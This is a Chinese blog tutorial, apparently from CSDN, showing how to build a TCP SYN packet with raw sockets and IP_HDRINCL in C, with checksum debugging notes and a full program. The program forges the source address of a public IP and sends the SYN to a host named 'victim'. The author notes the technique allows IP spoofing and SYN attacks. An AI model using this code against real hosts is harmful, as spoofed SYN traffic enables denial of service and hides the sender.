原始套接字 发送 TCP SYN 包

版权声明:本文为博主原创文章,未经博主允许不得转载。 https://blog.csdn.net/nia305/article/details/81026637

通过原始套接字、setsockopt、IP_HDRINCL套接字选项,我们可以在应用进程里面构造自己的IP包:


所以我们在初始化原始套接字之后,可以调用setsockopt函数来开启IP_HDRINCL套接字选项,并且构造自己的IP头,TCP/UDP头,最后再像发送普通包一样调用sendto 、sendmsg等函数发送构造好的数据。

1.首先我们可以先得到一个原始套接字,并且设置IP_HDRINCL套接字选项:【最后的可执行文件需要用root权限执行,可以在shell里面完成,也可以在代码里面完成】

int sock = socket(AF_INET, SOCK_RAW, IPPROTO_TCP);
if (sock < 0) {
	perror("Socket Error");
	exit(1);
}
const int on = 1;
setsockopt(sock, IPPROTO_IP, IP_HDRINCL, &on, sizeof(on));

2.构造TCP头:【tcp头结构文件在/usr/include/netinet/tcp.h里面】

void initTCPHeader(struct tcphdr* header) {
	header->source = htons(9431);
	header->dest = htons(4321);

	header->doff = sizeof(struct tcphdr) / 4;
	header->syn = 1;
	header->window = htons(4096);
	header->check = 0;
	header->seq = htonl(rand());
	header->ack_seq = 0;
}
struct tcphdr* tHeader = (struct tcphdr*) malloc(sizeof(struct tcphdr));
memset(tHeader, 0, TCP_HEADER_LEN);
initTCPHeader(tHeader);
3.自己计算TCP首部校验和【 在实验的时候,我发现如果自己不手动算,而是把check字段设置为0的话,内核并不会自动计算校验和,如果校验和不正确的话,会出现SYN包被丢弃的情况】:

    ① TCP 伪首部:

        需要加上一个伪首部,这个首部只用来计算校验和,并不真正地发送给另外一端。


所以我们需要写一个结构体来装这个伪首部:

struct psdHeader {
	unsigned int srcIP;
	unsigned int destIP;
	unsigned short zero:8;
	unsigned short proto:8;
	unsigned short totalLen;
};

void initPsdHeader(struct psdHeader* header, struct ip* iHeader) {
	header->srcIP = iHeader->ip_src.s_addr;
	header->destIP = iHeader->ip_dst.s_addr;

	header->zero = 0;
	header->proto = IPPROTO_TCP;
	header->totalLen = htons(0x0014); //因为是SYN包,不带任何的数据,所以总长度就是TCP的首部长度--20字节
}

    ② TCP 校验和计算:

        把TCP首部的校验和字段设置为0,再把TCP伪首部和TCP首部的数据每16位当作一个数,全部相加起来【sum】,如果sum的高16位不为0的话,把高16位加到低16位上面,直到高16位不为0为止,最后这个sum取反就是TCP校验和字段需要填写的数。

unsigned short calcTCPCheckSum(const char* buf) {
	size_t size = TCP_HEADER_LEN + sizeof(struct psdHeader);
	unsigned int checkSum = 0;
	for (int i = 0; i < size; i += 2) {
		unsigned short first = (unsigned short)buf[i] << 8;
		unsigned short second = (unsigned short)buf[i+1] & 0x00ff;
		checkSum += first + second;
	}
	while (1) {
		unsigned short c = (checkSum >> 16);
		if (c > 0) {
			checkSum = (checkSum << 16) >> 16;
			checkSum += c;
		} else {
			break;
		}
	}
	return ~checkSum;
}

上面代码中需要注意的是: second这个变量:在强制转化成short之后,高8位全部是1,需要把高8位清成0才是正确的【坑了两个小时】其实这里的原因是:


上面的红框里面这个指令会用al寄存器的最高位来填充ax:所以如果al的最高位是0的话,那么结果恰好是正确的,但是如果al的最高位是1的话,那么ah就都是1了,所以会出现高8位都是1的情况。

最后的while循环就是为了处理高16位不为0的情况。

4.构造IP头:【ip头结构文件在/usr/include/netinet/ip.h里面】

const char* victim = "192.168.26.100";
const char* pre = "139.59.252.82";

void initIPHeader(struct ip* header, unsigned short len) {
	header->ip_v = IPVERSION;
	header->ip_hl = sizeof(struct ip) / 4;
	header->ip_tos = 0;
	header->ip_len = htons(IP_HEADER_LEN + TCP_HEADER_LEN);
	header->ip_id = 0;
	header->ip_off = 0;
	header->ip_ttl = MAXTTL; 
	header->ip_p = IPPROTO_TCP;
	header->ip_sum = 0;
	inet_pton(AF_INET, pre, &header->ip_src.s_addr);
	inet_pton(AF_INET, victim, &header->ip_dst.s_addr);
}

这里的IP校验和内核是会帮我们计算的,这点不用担心。注意:上面的pre字符串里面的IP地址是假的IP地址。

5.最后通过sendto函数发送包:

struct sockaddr_in addr;
memset(&addr, 0, sizeof(struct sockaddr_in));
addr.sin_family = AF_INET;
inet_pton(AF_INET, victim, &addr.sin_addr.s_addr);
addr.sin_port = htons(4321);

socklen_t len = sizeof(struct sockaddr_in);
int n = sendto(sock, buf, totalLen, 0, (struct sockaddr*)&addr, len);

6.所有的代码:

#include <netinet/in.h>
#include <sys/socket.h>
#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>
#include <arpa/inet.h>
#include <netinet/in.h>
#include <string.h>
#include <netinet/ip.h>
#include <netinet/tcp.h>


#define IP_HEADER_LEN sizeof(struct ip)
#define TCP_HEADER_LEN sizeof(struct tcphdr)

const char* victim = "192.168.26.100";
const char* pretend = "139.59.252.82";

void initIPHeader(struct ip* header, unsigned short len) {
	header->ip_v = IPVERSION;
	header->ip_hl = sizeof(struct ip) / 4;
	header->ip_tos = 0;
	header->ip_len = htons(IP_HEADER_LEN + TCP_HEADER_LEN);
	header->ip_id = 0;
	header->ip_off = 0;
	header->ip_ttl = MAXTTL; 
	header->ip_p = IPPROTO_TCP;
	header->ip_sum = 0;
	inet_pton(AF_INET, pretend, &header->ip_src.s_addr);
	inet_pton(AF_INET, victim, &header->ip_dst.s_addr);
}

void initTCPHeader(struct tcphdr* header) {
	header->source = htons(9431);
	header->dest = htons(4321);

	header->doff = sizeof(struct tcphdr) / 4;
	header->syn = 1;
	header->window = htons(4096);
	header->check = 0;
	header->seq = htonl(rand());
	header->ack_seq = 0;
}

struct psdHeader {
	unsigned int srcIP;
	unsigned int destIP;
	unsigned short zero:8;
	unsigned short proto:8;
	unsigned short totalLen;
};

void initPsdHeader(struct psdHeader* header, struct ip* iHeader) {
	header->srcIP = iHeader->ip_src.s_addr;
	header->destIP = iHeader->ip_dst.s_addr;

	header->zero = 0;
	header->proto = IPPROTO_TCP;
	header->totalLen = htons(0x0014);
}

unsigned short calcTCPCheckSum(const char* buf) {
	size_t size = TCP_HEADER_LEN + sizeof(struct psdHeader);
	unsigned int checkSum = 0;
	for (int i = 0; i < size; i += 2) {
		unsigned short first = (unsigned short)buf[i] << 8;
		unsigned short second = (unsigned short)buf[i+1] & 0x00ff;
		checkSum += first + second;
	}
	while (1) {
		unsigned short c = (checkSum >> 16);
		if (c > 0) {
			checkSum = (checkSum << 16) >> 16;
			checkSum += c;
		} else {
			break;
		}
	}
	return ~checkSum;
}

int main(int argc, char** argv) {
	int sock = socket(AF_INET, SOCK_RAW, IPPROTO_TCP);
	if (sock < 0) {
		perror("Socket Error");
		exit(1);
	}
	const int on = 1;
	setsockopt(sock, IPPROTO_IP, IP_HDRINCL, &on, sizeof(on));

	const char* query = "I am a Hacker.\n";

	struct tcphdr* tHeader = (struct tcphdr*) malloc(sizeof(struct tcphdr));
	memset(tHeader, 0, TCP_HEADER_LEN);
	initTCPHeader(tHeader);
	struct ip* iHeader = (struct ip*) malloc(sizeof(struct ip));
	memset(iHeader, 0, IP_HEADER_LEN);
	initIPHeader(iHeader, strlen(query));
	struct psdHeader* pHeader = (struct psdHeader*) malloc(sizeof(struct psdHeader));
	initPsdHeader(pHeader, iHeader);

	char sumBuf[TCP_HEADER_LEN + sizeof(struct psdHeader)];
	memset(sumBuf, 0, TCP_HEADER_LEN + sizeof(struct psdHeader));
	memcpy(sumBuf, pHeader, sizeof(struct psdHeader));
	memcpy(sumBuf + sizeof(struct psdHeader), tHeader, TCP_HEADER_LEN);

	int ni = memcmp(sumBuf, pHeader, sizeof(struct psdHeader));
	if (ni != 0) {
		perror("Compare");
	}
	ni = memcmp(sumBuf + sizeof(struct psdHeader), tHeader, TCP_HEADER_LEN);
	if (ni != 0) {
		perror("Compare 2");
	}

	tHeader->check = htons(calcTCPCheckSum(sumBuf));

	int totalLen = IP_HEADER_LEN + TCP_HEADER_LEN;
	char buf[totalLen];

	memcpy(buf, iHeader, IP_HEADER_LEN);
	memcpy(buf + IP_HEADER_LEN, tHeader, TCP_HEADER_LEN);

	struct sockaddr_in addr;
	memset(&addr, 0, sizeof(struct sockaddr_in));
	addr.sin_family = AF_INET;
	inet_pton(AF_INET, victim, &addr.sin_addr.s_addr);
	addr.sin_port = htons(4321);

	socklen_t len = sizeof(struct sockaddr_in);
	int n = sendto(sock, buf, totalLen, 0, (struct sockaddr*)&addr, len);
	if (n < 0) {
		perror("Send Error");
	}
	printf("Write %d bytes to the server.\n", n);

	char buff[3];
	buff[0] = 0xab;
	buff[1] = 0xbc;
	buff[2] = 0xcd;
	for (int i = 0; i < 3; ++i) {
		unsigned short cu = buff[i];
		printf("%x\n", cu);
	}
	return 0;
}

7.tcpdump抓包的结果:


可以看到服务器的确是收到了这个SYN包,并且发送了SYN+ACK的第二次握手包,但是IP地址是假的,没有最后一次ACK的握手包,所以服务器进行了几次尝试。


第一行是TCP首部检验和填0的时候出现的:内核不会帮我计算校验和,所以服务器并没有接收这个SYN包,下面的都是我对计算校验和作的尝试:都是错误的结果,所以服务器还是不会接收这个SYN包。


8.总结:通过原始套接字,我们可以自己构造IP,TCP首部,这样就可以伪造IP地址,端口号,TCP可以形成SYN攻击,UDP可以发送假的IP和端口号的数据包到服务器。


9.知识点:原始套接字,套接字选项,IP首部,TCP首部,校验和的计算,位操作,C/C++冒号操作符。

猜你喜欢

转载自blog.csdn.net/nia305/article/details/81026637
今日推荐